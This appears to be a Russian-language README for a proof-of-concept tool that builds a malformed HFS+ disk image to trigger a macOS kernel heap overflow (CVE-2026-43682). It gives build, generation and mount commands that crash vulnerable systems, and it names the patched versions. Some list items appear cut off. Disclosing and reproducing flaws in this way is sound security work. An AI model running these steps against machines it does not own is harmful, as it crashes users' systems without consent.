
Генератор образов дисков для proof-of-concept, который создаёт некорректный ключ B-дерева атрибутов HFS+, чтобы вызвать переполнение кучи ядра (CVE-2026-43682) в macOS.
Ожидается, что это доказательство концепции вызовет панику ядра и перезагрузку затронутого Mac. Используйте его только на одноразовой тестовой системе. Сбор доказательств проводился на Apple silicon под управлением macOS Tahoe 26.3 (25D125). Apple исправила CVE-2026-43682 в Tahoe 26.6, Sequoia 15.7.8 и Sonoma 14.8.8.
PoC — это генератор образов дисков, а не эксплойт для повышения привилегий. Он:
_COMM_PAGE_ASB_TARGET_KERN_VALUE текущей загрузки на Apple silicon;Искажённая копия детерминирована. А вот разместит ли Probabilistic GZAlloc защиту там, где перезапись немедленно вызовет сбой, — нет.
hdiutil и xattr.Сторонние пакеты Python не требуются.
Помощник опционален, но он делает значение для каждой загрузки явным до генерации образа:
cd poc
clang -O2 -Wall -Wextra check_commpage.c -o check_commpage
./check_commpage
Создайте базовый образ и пропатчьте его дерево атрибутов:
./create_base_dmg.sh base_with_attrs.dmg
python3 craft_attr_poc_asb.py \
base_with_attrs.dmg \
cve-2026-43682.dmg \
2884
Скрипт Python выводит значение Target Flag ядра той же загрузки и шаблон, записанный в образ.
Присоединения или последующего индексирования образа может быть достаточно для достижения уязвимого пути атрибутов. Явный триггер, использовавшийся во время тестирования, был таким:
hdiutil attach -readonly -nobrowse cve-2026-43682.dmg
ls -l@ /Volumes/AttrPOC/
На уязвимой системе ожидаемый результат — data abort ядра во время копирования ключа B-дерева увеличенного размера. На исправленной системе искажённый ключ должен быть отклонён без повреждения памяти ядра.
После запуска без сбоя отсоедините тестовый том с помощью:
hdiutil detach /Volumes/AttrPOC